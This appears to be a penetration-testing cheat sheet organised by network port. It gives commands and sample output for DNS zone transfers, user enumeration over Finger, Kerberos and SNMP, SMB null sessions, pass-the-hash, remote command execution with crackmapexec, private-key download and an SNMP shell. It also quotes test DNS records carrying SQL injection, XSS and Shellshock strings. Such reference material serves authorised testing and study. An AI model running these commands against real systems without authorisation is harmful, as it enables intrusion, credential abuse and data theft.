### Dnsrecon&#x20;

`Dnsrecon.py -d {domain}`&#x20;

Link: <https://github.com/darkoperator/dnsrecon>

**Reverse lookup:**&#x20;

`./dnsrecon.py -r <startIP-endIP>`&#x20;

### Dig

view all dns records

`dig zonetransfer.me -t ANY`

### Zone transfer

Using dig first find NS Server::

```
First find name server 

root@Kali:~# dig ns zonetransfer.me 

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> ns zonetransfer.me 
;; global options: +cmd 
;; Got answer: 
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11380 
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 

;; OPT PSEUDOSECTION: 
; EDNS: version: 0, flags:; udp: 4096 
;; QUESTION SECTION: 
;zonetransfer.me. IN NS 

;; ANSWER SECTION: 
zonetransfer.me. 7186 IN NS nsztm2.digi.ninja. 
zonetransfer.me. 7186 IN NS nsztm1.digi.ninja. 
 
;; Query time: 22 msec 
;; SERVER: 192.168.0.1#53(192.168.0.1) 
;; WHEN: Tue Nov 12 08:29:13 GMT 2019 
;; MSG SIZE  rcvd: 96 


 


```

#### **Perform zone transfer:**

```
root@kali:~/$ dig axfr @nsztm1.digi.ninja zonetransfer.me

; <<>> DiG 9.16.3-Debian <<>> axfr @nsztm1.digi.ninja zonetransfer.me
; (1 server found)
;; global options: +cmd
zonetransfer.me.	7200	IN	SOA	nsztm1.digi.ninja. robin.digi.ninja. 2019100801 172800 900 1209600 3600
zonetransfer.me.	300	IN	HINFO	"Casio fx-700G" "Windows XP"
zonetransfer.me.	301	IN	TXT	"google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"
zonetransfer.me.	7200	IN	MX	0 ASPMX.L.GOOGLE.COM.
zonetransfer.me.	7200	IN	MX	10 ALT1.ASPMX.L.GOOGLE.COM.
zonetransfer.me.	7200	IN	MX	10 ALT2.ASPMX.L.GOOGLE.COM.
zonetransfer.me.	7200	IN	MX	20 ASPMX2.GOOGLEMAIL.COM.
zonetransfer.me.	7200	IN	MX	20 ASPMX3.GOOGLEMAIL.COM.
zonetransfer.me.	7200	IN	MX	20 ASPMX4.GOOGLEMAIL.COM.
zonetransfer.me.	7200	IN	MX	20 ASPMX5.GOOGLEMAIL.COM.
zonetransfer.me.	7200	IN	A	5.196.105.14
zonetransfer.me.	7200	IN	NS	nsztm1.digi.ninja.
zonetransfer.me.	7200	IN	NS	nsztm2.digi.ninja.
_acme-challenge.zonetransfer.me. 301 IN	TXT	"6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"
_sip._tcp.zonetransfer.me. 14000 IN	SRV	0 0 5060 www.zonetransfer.me.
14.105.196.5.IN-ADDR.ARPA.zonetransfer.me. 7200	IN PTR www.zonetransfer.me.
asfdbauthdns.zonetransfer.me. 7900 IN	AFSDB	1 asfdbbox.zonetransfer.me.
asfdbbox.zonetransfer.me. 7200	IN	A	127.0.0.1
asfdbvolume.zonetransfer.me. 7800 IN	AFSDB	1 asfdbbox.zonetransfer.me.
canberra-office.zonetransfer.me. 7200 IN A	202.14.81.230
cmdexec.zonetransfer.me. 300	IN	TXT	"; ls"
contact.zonetransfer.me. 2592000 IN	TXT	"Remember to call or email Pippa on +44 123 4567890 or pippa@zonetransfer.me when making DNS changes"
dc-office.zonetransfer.me. 7200	IN	A	143.228.181.132
deadbeef.zonetransfer.me. 7201	IN	AAAA	dead:beaf::
dr.zonetransfer.me.	300	IN	LOC	53 20 56.558 N 1 38 33.526 W 0.00m 1m 10000m 10m
DZC.zonetransfer.me.	7200	IN	TXT	"AbCdEfG"
email.zonetransfer.me.	2222	IN	NAPTR	1 1 "P" "E2U+email" "" email.zonetransfer.me.zonetransfer.me.
email.zonetransfer.me.	7200	IN	A	74.125.206.26
Hello.zonetransfer.me.	7200	IN	TXT	"Hi to Josh and all his class"
home.zonetransfer.me.	7200	IN	A	127.0.0.1
Info.zonetransfer.me.	7200	IN	TXT	"ZoneTransfer.me service provided by Robin Wood - robin@digi.ninja. See http://digi.ninja/projects/zonetransferme.php for more information."
internal.zonetransfer.me. 300	IN	NS	intns1.zonetransfer.me.
internal.zonetransfer.me. 300	IN	NS	intns2.zonetransfer.me.
intns1.zonetransfer.me.	300	IN	A	81.4.108.41
intns2.zonetransfer.me.	300	IN	A	167.88.42.94
office.zonetransfer.me.	7200	IN	A	4.23.39.254
ipv6actnow.org.zonetransfer.me.	7200 IN	AAAA	2001:67c:2e8:11::c100:1332
owa.zonetransfer.me.	7200	IN	A	207.46.197.32
robinwood.zonetransfer.me. 302	IN	TXT	"Robin Wood"
rp.zonetransfer.me.	321	IN	RP	robin.zonetransfer.me. robinwood.zonetransfer.me.
sip.zonetransfer.me.	3333	IN	NAPTR	2 3 "P" "E2U+sip" "!^.*$!sip:customer-service@zonetransfer.me!" .
sqli.zonetransfer.me.	300	IN	TXT	"' or 1=1 --"
sshock.zonetransfer.me.	7200	IN	TXT	"() { :]}; echo ShellShocked"
staging.zonetransfer.me. 7200	IN	CNAME	www.sydneyoperahouse.com.
alltcpportsopen.firewall.test.zonetransfer.me. 301 IN A	127.0.0.1
testing.zonetransfer.me. 301	IN	CNAME	www.zonetransfer.me.
vpn.zonetransfer.me.	4000	IN	A	174.36.59.154
www.zonetransfer.me.	7200	IN	A	5.196.105.14
xss.zonetransfer.me.	300	IN	TXT	"'><script>alert('Boo')</script>"
zonetransfer.me.	7200	IN	SOA	nsztm1.digi.ninja. robin.digi.ninja. 2019100801 172800 900 1209600 3600
;; Query time: 28 msec
;; SERVER: 81.4.108.41#53(81.4.108.41)
;; WHEN: Thu Jun 25 13:53:32 BST 2020
;; XFR size: 50 records (messages 1, bytes 1994)

```

#### **Using nmap**

`nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=zonetrasnfer.me -p53`&#x20;

&#x20;Using dnsrecon

```
dnsrecon -d zonetransfer.me -a 
```


# 67 - DHCP

The Dynamic Host Configuration Protocol is a network management protocol used on Internet Protocol networks whereby a DHCP server dynamically assigns an IP address.

### Discovering DHCP Server

```
root@kali:~# nmap --script broadcast-dhcp-discover 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-10 15:19 BST 
Pre-scan script results: 
| broadcast-dhcp-discover:  
| Response 1 of 1:  
| IP Offered: 192.168.0.16 
| DHCP Message Type: DHCPOFFER 
| Server Identifier: 192.168.0.1 
| IP Address Lease Time: 1d00h00m00s 
| Subnet Mask: 255.255.255.0 
| Router: 192.168.0.1 
| Domain Name Server: 192.168.0.1 
|_ Domain Name: Home 
WARNING: No targets were specified, so 0 hosts scanned. 
Nmap done: 0 IP addresses (0 hosts up) scanned in 2.59 seconds 
```

**From command Line:**

`cat /var/lib/dhcp/dhclient.leases`


# 69 - TFTP

Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host.

## Enumeration

Confirm TFTP is open:

`nmap -sU -p 69 10.10.10.90`

Enumerate files:

`nmap -sU -p 69 --script tftp-enum.nse --script-args tftp-enum.filelist=customlist.txt <host>`

## Connect

Can use the built in utility:

```
$ tftp 10.10.10.90
tftp> get non-existing-file
Error code 1: Could not find file 'C:\non-existing-file'.

tftp> get WINDOWS\System32\drivers\etc\hosts
Received 734 bytes in 0.1 seconds [58720 bits/sec]
```

Put files:

```
$ tftp 10.10.10.90
tftp> put test.txt
Sent 9 bytes in 0.3 seconds
```

## Brute force files

### Nmap

```
root@kali:~# nmap -Pn -sU -p69 --script tftp-enum 192.168.10.250
Starting Nmap 6.46 (http://nmap.org) at 2014-11-14 13:01 UTC
Nmap scan report for 192.168.10.250
PORT STATE SERVICE
69/udp open tftp
| tftp-enum:
| tftp-enum:
| sip.cfg
| syncinfo.xml
| SEPDefault.cnf
| SIPDefault.cnf
|_ XMLDefault.cnf.xml
```

### Metasploit

```
msf > use auxiliary/scanner/tftp/tftpbrute
```


# 79 - Finger

Finger is a program you can use to find information about computer users.

### **Usage**

**Finger Enumeration**&#x20;

`finger @TARGET-IP`&#x20;

**Finger a Specific Username**&#x20;

```
finger admin@192.186.218.3 
Login: admin                            Name: Jason L. Nawrocki 
Directory: /home/admin                  Shell: /bin/bash 
Office: 5877, 989-905-2731              Home Phone: 978-272-5420 
Never logged in. 
No mail. 
No Plan. 
```

### **Solaris**

**Solaris bug that shows all logged in users:**&#x20;

```
finger 0@host   
SunOS: RPC services allow user enum: 

$ rusers # users logged onto LAN 
finger 'a b c d e f g h'@sunhost  
```

### Metasploit

Modules:

```
msf5 > search finger 

Matching Modules 
================ 

#  Name                                           Disclosure Date  Rank    Check  Description 
   -  ----                                           ---------------  ----    -----  ----------- 
   1  auxiliary/gather/mybb_db_fingerprint           2014-02-13       normal  Yes    MyBB Database Fingerprint 
   2  auxiliary/scanner/finger/finger_users                           normal  Yes    Finger Service User Enumerator 
   3  auxiliary/scanner/oracle/isqlplus_login                         normal  Yes    Oracle iSQL*Plus Login Utility 
   4  auxiliary/scanner/oracle/isqlplus_sidbrute                      normal  Yes    Oracle iSQLPlus SID Check 
   5  auxiliary/scanner/vmware/esx_fingerprint                        normal  Yes    VMWare ESX/ESXi Fingerprint Scanner 
   6  auxiliary/server/browser_autopwn                                normal  No     HTTP Client Automatic Exploiter 
   7  exploit/bsd/finger/morris_fingerd_bof          1988-11-02       normal  Yes    Morris Worm fingerd Stack Buffer Overflow 
   8  exploit/windows/http/bea_weblogic_post_bof     2008-07-17       great   Yes    Oracle Weblogic Apache Connector POST Request Buffer Overflow 
   9  post/windows/gather/enum_putty_saved_sessions                   normal  No     PuTTY Saved Sessions Enumeration Module 
```

Find users:

```
msf5 > use auxiliary/scanner/finger/finger_users 
msf5 auxiliary(scanner/finger/finger_users) > show options  

Module options (auxiliary/scanner/finger/finger_users): 

Name        Current Setting                                                Required  Description 
   ----        ---------------                                                --------  ----------- 
   RHOSTS                                                                     yes       The target address range or CIDR identifier 
   RPORT       79                                                             yes       The target port (TCP) 
   THREADS     1                                                              yes       The number of concurrent threads 
   USERS_FILE  /usr/share/metasploit-framework/data/wordlists/unix_users.txt  yes       The file that contains a list of default UNIX accounts. 

msf5 auxiliary(scanner/finger/finger_users) > setg rhosts 192.186.218.3 
rhosts => 192.186.218.3 
msf5 auxiliary(scanner/finger/finger_users) > run 

[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: admin 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: administrator 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: backup 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: bin 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: daemon 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: dbadmin 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: diag 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: games 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: gnats 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: gopher 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: irc 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: list 
[+] 192.186.218.3:79      - 192.186.218.3:79 - Found user: lp 
[+] 192.186.218.3:79      - 192.186.218.3:79 Users found: admin, administrator, backup, bin, daemon, dbadmin, diag, games, gnats, gopher, irc, list, lp, mail, man, news, nobody, proxy, root, saned, sync, sys, systemd-bus-proxy, udadmin, uucp, webmaster, www-data 
[*] 192.186.218.3:79      - Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed 
```

### finger-user-enum

Download script and run it with a wordlist: &#x20;

<http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz>&#x20;

**Overview**&#x20;

finger-user-enum is a tool for enumerating OS-level user accounts via the finger service. As of release v1.0 it is known to work against the default Solaris daemon. It may not yet work against all daemons since there is no defined format for the data returned by the finger service.&#x20;

**Installation**&#x20;

finger-user-enum is just a stand alone PERL script, so installation is as simple as copying it to your path (e.g. /usr/local/bin). It has only been tested under Linux so far.&#x20;

It depends on the following PERL modules which you may need to install first:&#x20;

* Socket&#x20;
* IO::Handle&#x20;
* IO::Select&#x20;
* IO::Socket::INET&#x20;
* Getopt::Std&#x20;

If you have PERL installed, you should be able to install the modules from CPAN:&#x20;

```
# perl -MCPAN -e shell 
cpan> install Getopt::Std 
```

&#x20;**Usage**&#x20;

finger-user-enum simply needs to be passed a list of users and at least one target running an finger service.&#x20;

&#x20;finger-user-enum v1.0 ( <http://pentestmonkey.net/tools/finger-user-enum> ) &#x20;

Usage: finger-user-enum.pl \[options] (-u username|-U users.txt) (-t host|-T ips.txt) &#x20;

options are: \
&#x20;        -m n     Maximum number of resolver processes (default: 5) \
&#x20;        -u user  Check if user exists on remote system \
&#x20;        -U file  File of usernames to check via finger service \
&#x20;        -t host  Server host running finger service \
&#x20;        -T file  File of hostnames running the finger service \
&#x20;        -r host  Relay.  Intermediate server which allows relaying of finger requests. \
&#x20;        -p port  TCP port on which finger service runs (default: 79) \
&#x20;        -d       Debugging output \
&#x20;        -s n     Wait a maximum of n seconds for reply (default: 5) \
&#x20;        -v       Verbose \
&#x20;        -h       This help message&#x20;

Some Examples&#x20;

For the examples below we need a list of potential usernames. The following output demostrates the format for this list:&#x20;

&#x20;$ head users.txt \
root \
bin \
daemon \
adm \
lp \
sync \
shutdown \
halt \
mail \
news&#x20;

**Normal Usage**&#x20;

The output below shows how the finger daemon responds differently to valid and invalid usernames:&#x20;

```
 $ telnet 10.0.0.1 79 
Trying 10.0.0.1... 
Connected to 10.0.0.1. 
Escape character is '^]'. 
root 
Login       Name               TTY         Idle    When    Where 
root     Super-User            console     2:05 Wed 07:23 
Connection closed by foreign host.  
$ telnet 10.0.0.1 79 
Trying 10.0.0.1... 
Connected to 10.0.0.1. 
Escape character is '^]'. 
blah 
Login       Name               TTY         Idle    When    Where 
blah                  ??? 
Connection closed by foreign host. 
```

finger-user-enum attempts to automatically parse the results returned by the finger daemon and report only users which exist.&#x20;

Note: If you ever need to modify the pattern-matching within finger-user-enum (e.g. to support a different finger daemon), you’ll need to base the patterns on positive and negative result like those found above.&#x20;

Here’s an example of the most common usage of the tool:&#x20;

```
 $ ./finger-user-enum.pl -U users.txt -t 10.0.0.1 
Starting finger-user-enum v1.0 ( 
http://pentestmonkey.net/tools/finger-user-enum
 )  
---------------------------------------------------------- 
|                   Scan Information                       | 
  ----------------------------------------------------------  
Worker Processes ......... 5 
Usernames file ........... users.txt 
Target count ............. 1 
Username count ........... 47 
Target TCP port .......... 79 
Query timeout ............ 5 secs 
Relay Server ............. Not used  
######## Scan started at Sun Jan 21 19:44:22 2007 ######### 
root@10.0.0.1: root     Super-User            console     2:03 Wed 07:23 .. 
bin@10.0.0.1: bin             ???            pts/1        <Dec 21 13:04> 10.0.0.99 
daemon@10.0.0.1: daemon          ???                         < .  .  .  . >.. 
adm@10.0.0.1: adm      Admin                              < .  .  .  . >.. 
lp@10.0.0.1: lp       Line Printer Admin                 < .  .  .  . >.. 
uucp@10.0.0.1: uucp Admin                         < .  .  .  . >.. 
nobody@10.0.0.1: nobody4  SunOS 4.x Nobody                   < .  .  .  . >.. 
ftp@10.0.0.1: ftp      Anonymous FTPUser     674          <Aug 11 14:22> 10.0.0.99 
######## Scan completed at Sun Jan 21 19:44:23 2007 ######### 
8 results.  
47 queries in 1 seconds (47.0 queries / sec) 
```


# 88 - Kerberos

Kerberos is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure way.

## User Enumeration

Enumerate valid Domain Users via Kerberos from a wholly unauthenticated perspective. It utilises the different responses returned by the service to identify users that exist within the target domain.

### Metasploit

Use `msf > use auxiliary/gather/kerberos_enumusers`

Example

```
msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
DOMAIN => MYDOMAIN
msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
RHOST => 192.168.5.1
msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
USER_FILE => /job/users.txt
msf auxiliary(kerberos_enumusers) > run

[*] Validating options...
[*] Using domain: MYDOMAIN...
[*] 192.168.5.1:88 - Testing User: "bob"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "bob" is present
[*] 192.168.5.1:88 - Testing User: "alice"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "alice" is present
[*] 192.168.5.1:88 - Testing User: "matt"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "matt" is present
[*] 192.168.5.1:88 - Testing User: "guest"...
[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have
been revoked
[-] 192.168.5.1:88 - User: "guest" account disabled or locked out
[*] 192.168.5.1:88 - Testing User: "admint"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admint" does not exist
[*] 192.168.5.1:88 - Testing User: "admin"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admin" does not exist
[*] 192.168.5.1:88 - Testing User: "administrator"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "administrator" does not exist
[*] Auxiliary module execution completed
msf auxiliary(kerberos_enumusers) >
```

### Nmap

```
Nmap –p 88 –script-args krb5-enum-users.realm=’[domain]’,userdb=[user list] [DC IP]
```

### Kerbrure

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication

Link: <https://github.com/ropnop/kerbrute>

```
root@kali# kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.175
```


# 111 - RPC

Remote Procedure Call (RPC) is a protocol that one program can use to request a service from a program located in another computer on a network without having to understand the network's details.

### rpcclient

`rpcclient -U "" $TARGET`

### **RPC**info

`rpcinfo –p x.x.x.x`

### Rpcdump&#x20;

<https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py>&#x20;

`/opt/impacket/examples/rpcdump.py username:password@target-ip`&#x20;


# 113 - ident

Internet protocol that helps identify the user of a particular TCP connection. One popular daemon program for providing the ident service is identd.

### ident-user-enum

\*not in Kali, download: <http://pentestmonkey.net/tools/user-enumeration/ident-user-enum>&#x20;

**Example**:&#x20;

```
/opt/ident-user-enum.pl perl ident-user-enum.pl 10.10.xx.xx 22 53 111 113 512 513 514 515 
ident-user-enum v1.0 (http://pentestmonkey.net/tools/ident-user-enum) 

10.10.xx.xx:22         [U2FsdGVkX19U+FaOs8zFI+sBFw5PBF2/hxWdfeblTXM=] 
10.10.xx.xx:53         [U2FsdGVkX1+fVazmVwSBwobo05dskDNWG8mogAWzHS8=] 
10.10.xx.xx:111        [U2FsdGVkX1+GPhL0rdMggQOQmNzsxtKe+ro+YQ28nTg=] 
10.10.xx.xx:113        [U2FsdGVkX1+5f5j9c2qnHFL5XKMcLV7YjUW8LYWN1ac=] 
10.10.xx.xx:512        [U2FsdGVkX1+IWVqsWohbUhjr3PAgbkWTaImWIODMUDY=] 
10.10.xx.xx:513        [U2FsdGVkX19EEjrVAxj0lX0tTT/FoB3J9BUlfVqN3Qs=] 
10.10.xx.xx:514        [U2FsdGVkX18/o1MMaGmcU4ul7kNowuhfBgiplQZ0R5c=] 
10.10.xx.xx:515        [U2FsdGVkX1/8ef5wkL05TTMi+skSs65KRGIQB9Z8WnE=] 
```


# 135 - MSRPC

Microsoft RPC is a modified version of DCE/RPC.

TCP 135 is the Endpoint Mapper and Component Object Model (COM) Service Control Manager.

## Enumeration

### Nmap

Queries an MSRPC endpoint mapper for a list of mapped services and displays the gathered information.

```
nmap <target> --script=msrpc-enum
```

### rpcdump.py

rpcdump.py from Impacket that will show these mappings of RPC

for unauthenticated RPC mapping use:

`python3 rpcdump.py '':''@10.10.10.213`

### rpcmap.py

rpcmap.py from Impacket that will show these mappings of RPC

```
rpcmap.py 'ncacn_ip_tcp:10.10.10.213'
```

### IOXIDResolver

IOXIDResolver could be used to obtain information on other interfaces from RPC mapping

```
oxdf@parrot$ python3 IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::9514:421b:5cde:a7da
```


# 137 - Netbios

NetBIOS is an acronym for Network Basic Input/Output System. It provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over a local.

### Nbtscan (Kali version)

`root@DESKTOP99:~/Downloads# nbtscan -vh 192.168.0.15`&#x20;

Use –h for human readable  (-v is verbose)

### nbt-wizz version version:&#x20;

```
root@Kali:~/Downloads# ./nbtscan-1.0.35-redhat-linux -A 192.168.0.15 
192.168.0.38    WORKGROUP\DOOKOSSEL             SHARING 
  DOOKOSSEL      <00> UNIQUE Workstation Service 
  DOOKOSSEL      <03> UNIQUE Messenger Service<3> 
  DOOKOSSEL      <20> UNIQUE File Server Service 
  ..__MSBROWSE__.<01> GROUP  Master Browser 
  WORKGROUP      <00> GROUP  Domain Name 
  WORKGROUP      <1d> UNIQUE Master Browser 
  WORKGROUP      <1e> GROUP  Browser Service Elections 
  00:00:00:00:00:00   ETHER 
```

### FSMO roles (will be on the nbtscan)

* Schema master
* Domain naming master
* RID master
* PDC emulator
* Infrastructure master


# 139/445 - SMB

The Microsoft Server Message Block protocol was often used with NetBIOS over TCP/IP (NBT) over UDP, using port numbers 137 and 138, and TCP port numbers 137 and 139.

## Find version

Find SMB version using metasploit:

`Msfconsole;use scanner/smb/smb_version`

Using nmap scripts:

`nmap --script=smb-enum* --script-args=unsafe=1 -T5`&#x20;

## **Discover shares**

**smbmap:**

`smbmap -H [ip]`

or

&#x20;`smbmap -H [ip] -d [domain] -u [user] -p [password]`

**smbclient:**

`smbclient //IP/Share`

Or

`smbclient -L //$TARGET`

**Nmap:**

`nmap --script smb-enum-shares -p139,445 -T4 -Pn`&#x20;

## Connect to share

**smbmap**:

`$ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'`

**smbclient:**

`smbclient //$ip/share -U username`

or

`smbclient \\\\{IP}\\Share`

## Connect to the host

**Crackmapexec:**

`crackmapexec smb -d . -u Administrator -p 'pass123' -x "whoami" 192.168.204.183`

Using smbexec:

`crackmapexec smb --exec-method smbexec -d . -u Administrator -p 'pass123' -x "whoami" 192.168.204.183`

## Pass The Hash

`smbmap -u alice1978 -p '0B186E661BBDBDCF6047784DE8B9FD8B:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107`&#x20;

Or&#x20;

`smbmap -u alice1978 -p '0B186E661BBDBDCF6047784DE8B9FD8B:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107 -R`&#x20;

**Crackmapexec**:

`crackmapexec smb  -u username -H LMHASH:NTHASH`

## Null Session

smbmap:

`smbmap -H {IP}`&#x20;

rpcclient:

`rpcclient -U "" -N {IP}`

crackmapexec:

`crackmapexec smb <target(s)> -u '' -p ''`

## Download files

**using smbmap:**

`smbmap -u alice1978 -p '0B186E661BBDBDCF6047784DE8B9FD8B:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107 --download alice/my_private_key.ppk`

#### using smbget

`smbget -R smb://10.10.10.178/Secure$`

#### using smbclient

```
root@kali# smbclient -U TempUser //10.10.10.178/Secure$ welcome2019
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  5 07:05:22 2020
  ..                                  D        0  Fri Jun  5 07:05:22 2020
  Finance                             D        0  Wed Aug  7 15:40:13 2019
  HR                                  D        0  Wed Aug  7 19:08:11 2019
  IT                                  D        0  Thu Aug  8 06:59:25 2019

                10485247 blocks of size 4096. 6545925 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \HR\*
NT_STATUS_ACCESS_DENIED listing \IT\*

```

## Check for vulnerabilities

Using nmap:

`nmap --script smb-vuln* -p139,445 -T4 -Pn`&#x20;

## User Enumeration

Metasploit:

`use auxiliary/scanner/smb/smb_enumusers`

## Tools

### smbclient

`smbclient -L //$TARGET`

### smbmap&#x20;

If we have username and password:&#x20;

`smbmap -u tyler -p '92g!mA8BGjOirkL%OG*&' -H 10.10.10.97`&#x20;

Username and password for speciifc folder&#x20;

`smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' -H \\\\10.10.10.97\\new-site`&#x20;

#### PassTheHash&#x20;

`smbmap -u alice1978 -p '0B186E661BBDBDCF6047784DE8B9FD8B:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107`

**Download a file**&#x20;

`smbmap -u alice1978 -p '0B186E661BBDBDCF6047784DE8B9FD8B:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107 --download alice/my_private_key.ppk`&#x20;

### Enum4Linux&#x20;

Does everything in 1 script:

`enum4linux –a 10.0.0.1`&#x20;

### Nmap

SMB enumeration using all scripts:

`nmap --script=smb-enum* --script-args=unsafe=1 -T5`&#x20;

### Metasploit

Find SMB version:

`Msfconsole;use scanner/smb/smb_version`

Enum users:

`use auxiliary/scanner/smb/smb_enumusers`

### Impacket **samrdump.py**

Samrdump is an application that retrieves sensitive information about the specified target machine using the Security Account Manager (SAM). It is a remote interface that is accessible under the Distributed Computing Environment / Remote Procedure Calls (DCE/RPC) service. It lists out all the system shares, user accounts, and other useful information about the target’s presence in the local network. The image clearly shows us all the user accounts that are held by the remote machine. Inspecting all the available shares for sensitive data and accessing other user accounts can further reveal valuable information.

**Syntax:**

samrdump.py \[domain]/\[user]:\[Password/Password Hash]@\[Target IP Address]

**Command:**

samrdump.py ignite/Administrator:Ignite\@987\@192.168.1.105

## Protocol Mismatch

When the following error is observed:

```
root@kali# smbclient -N //10.10.10.3/tmp 
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
```

&#x20;The client is set up for security reasons not to connect to older SMB versions.&#x20;

By adding support to NT1 we can connect:

```
root@kali# smbclient -N //10.10.10.3/tmp --option='client min protocol=NT1' 
Anonymous login successful 
Try "help" to get a list of possible comman
```

You will need to add a line to the following file: my /etc/samba.smb.conf:

```
[global] 
client min protocol=NT1 
```

## &#x20;Resources:

<https://docs.google.com/spreadsheets/d/1F9wUdEJv22HdqhSn6hy-QVtS7eumgZWYYrD-OSi6JOc/edit#gid=2080645025>


# 161 - SNMP

UDP 161 - Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices.

### Information

It's important to remember that SNMP has 3 versions:

| Version | Info                                                                                                                                                                                                       |
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 1       | The initial version of the protocol. It is easy to set up and is defined in RFC 1155 and 1157.                                                                                                             |
| 2c      | The revised version with enhanced protocol packet types, transport mappings, and MIB structure elements, but also uses the existing SNMPv1 administration structure ("community-based" and hence SNMPv2c). |
| 3       | Facilitates remote configuration of SNMP entities. It also adds both encryption and authentication, which can be used together or separately, making this the most secure version yet.                     |

### Install SNMP-MiBS&#x20;

```
apt install snmp-mibs-downloader 
echo "" > /etc/snmp/snmp.conf 
```

### Discover SNMP

`nmap -p 161 -sU -oA nmap_udp_snmp 10.10.10.92`&#x20;

### Scan Host

```
snmpwalk -v2c -c public 192.168.1.234 
-v = version of the SNMP - most poplur 2c 
-c = the public string (default public) 
```

### SNMP Config

Snmp configuration file is located by default in:

`/etc/snmp/snmpd.conf`

and it includes the passwords for the community and private string.

### Brute force community string

```
./onesixtyone -c /opt/SecLists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.92 
Scanning 1 hosts, 122 communities 
10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 
10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 
```

### **Metasploit - Enumerate users**

```
msf5 auxiliary(scanner/snmp/snmp_enumusers) > show options  
Module options (auxiliary/scanner/snmp/snmp_enumusers): 
   Name       Current Setting  Required  Description 
   ----       ---------------  --------  ----------- 
   COMMUNITY  public           yes       SNMP Community String 
   RETRIES    1                yes       SNMP Retries 
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax '
file:<path>
' 
   RPORT      161              yes       The target port (UDP) 
   THREADS    1                yes       The number of concurrent threads (max one per host) 
   TIMEOUT    1                yes       SNMP Timeout 
   VERSION    1                yes       SNMP Version <1/2c> 
msf5 auxiliary(scanner/snmp/snmp_enumusers) > set rhosts 192.168.0.41 
rhosts => 192.168.0.41 
msf5 auxiliary(scanner/snmp/snmp_enumusers) > run 
[+] 192.168.0.41:161 Found 6 users: daemon, jack, noaccess, nobody, root, smmsp 
[*] Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed
```

### SNMP Shell

Using Net-SNMP functionality we can gain shell on a SNMP server

Link: <https://github.com/mxrch/snmp-shell>

```
root@kali# rlwrap python3 /opt/snmp-shell/shell.py 10.10.10.195 -c SuP3RPrivCom90

Debian-snmp@intense:/$ id
